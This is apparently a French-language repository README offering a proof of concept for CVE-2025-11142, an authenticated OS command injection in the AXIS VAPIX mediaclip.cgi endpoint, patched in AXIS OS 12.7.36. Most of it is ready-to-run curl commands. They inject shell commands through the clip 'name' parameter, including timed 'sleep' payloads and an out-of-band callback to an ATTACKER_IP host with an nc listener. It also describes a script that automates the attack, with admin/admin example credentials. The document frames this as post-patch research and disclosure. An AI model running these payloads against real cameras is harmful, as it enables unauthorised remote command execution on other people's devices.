
Preuve de concept et analyse technique pour CVE-2025-11142, une injection de commandes système authentifiée dans AXIS VAPIX mediaclip.cgi, avec des méthodes de vérification basées sur le temps et hors bande.
mediaclip.cgi d'AXISÉtude technique n-day et PoC — analyse technique post-correctif d'une vulnérabilité d'injection de commandes OS de score CVSS 7.1 dans l'API VAPIX Media Clip d'AXIS, redécouverte indépendamment et vérifiée par des tests en boîte noire sur un appareil Axis.
L'avis officiel d'Axis ne publie pas de détails techniques d'exploitation ni de PoC public (« Axis ne fournira pas d'informations plus détaillées sur la vulnérabilité », « aucun exploit connu publiquement » à la date de publication de l'avis). Ce dépôt documente une confirmation indépendante, fondée sur des preuves, publiée uniquement après la disponibilité générale du correctif du fournisseur (AXIS OS 12.7.36). Voir Chronologie de divulgation.
| Identifiant CVE | CVE-2025-11142 |
| CWE | CWE-78 (Injection de commandes OS) |
| CVSS | 7.1 (Élevé) |
| Versions concernées | AXIS OS 12.6.54 – 12.7.35 |
| Corrigé dans | AXIS OS 12.7.36 (canal Active) |
| Avis du fournisseur | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Privilèges requis | Opérateur/administrateur authentifié (authentification VAPIX HTTP Digest) |
| Impact vérifié ici | Exécution arbitraire de commandes OS sous un compte de service à privilèges limités (pas root) |
Le point de terminaison VAPIX /axis-cgi/mediaclip.cgi accepte une requête action=update
avec un paramètre name en texte libre (le nom d'affichage du clip). Les tests en boîte
noire montrent que cette valeur est transmise, sans assainissement, à un appel shell sur
l'appareil — très probablement dans le cadre d'une étape interne de renommage/traitement
de fichiers pour le sous-système de clips média.
Aucune étude technique publique ne décrit le chemin de code exact côté serveur (Axis n'en a pas publié), la cause racine ci-dessous est donc déduite du comportement en boîte noire, et non d'une revue du code source.
Toutes les requêtes utilisent l'authentification HTTP Digest (l'appareil rejette
l'authentification Basic). Remplacez TARGET, USER et PASS par les valeurs de votre
propre appareil de laboratoire — n'utilisez pas les identifiants d'exemple contre un
appareil qui ne vous appartient pas ou que vous n'êtes pas autorisé à tester.
L'action update nécessite un clip existant. Si le clip 0 n'existe pas encore, téléversez
d'abord un petit espace réservé inoffensif :
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
N'importe quel petit fichier WAV valide convient pour poc.wav (un en-tête RIFF/WAVE
minimal suffit).
# référence / témoin — aucun délai injecté
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# délai injecté de 8 secondes
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
Un temps de réponse qui suit la durée du sleep injecté (plutôt que la référence d'environ
0,3 s) confirme que le shell exécute la valeur complète de name, et ne la traite pas
simplement comme une chaîne inerte. Cela a été vérifié avec plusieurs délais à échelle
indépendante (0 s / 3 s / 6 s / 8 s) et plusieurs syntaxes d'injection (;, &&,
backticks, $(...)) pour exclure toute coïncidence.
Comme le corps de la réponse HTTP ne renvoie jamais la sortie des commandes (OK /
Updating=0 quel que soit le payload), la confirmation la plus convaincante utilise la
capacité réseau sortante de l'appareil lui-même. Démarrez un écouteur sur un hôte contrôlé
par l'attaquant et faites rappeler la commande injectée vers celui-ci :
# sur l'hôte de l'attaquant :
nc -lvnp 4444
# payload injecté :
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
Une requête HTTP entrante authentique provenant de l'adresse IP de l'appareil cible,
contenant la chaîne User-Agent de curl, est une preuve sans ambiguïté d'exécution de
code à distance — la requête ne peut provenir que d'une commande réellement exécutée sur
l'appareil.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pyVoir poc.py pour un script autonome qui automatise les étapes 1 à 4 contre une
cible que vous spécifiez en ligne de commande.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi) n'est révélé ici qu'Axis n'ait déjà confirmé.Ce code est fourni uniquement pour des tests de sécurité autorisés, la recherche en sécurité et des fins défensives (par exemple, vérifier que votre propre parc est corrigé, construire des signatures de détection). Ne l'utilisez pas contre des appareils qui ne vous appartiennent pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test. Le(s) auteur(s) décline(nt) toute responsabilité en cas d'usage abusif.
MIT — voir LICENSE.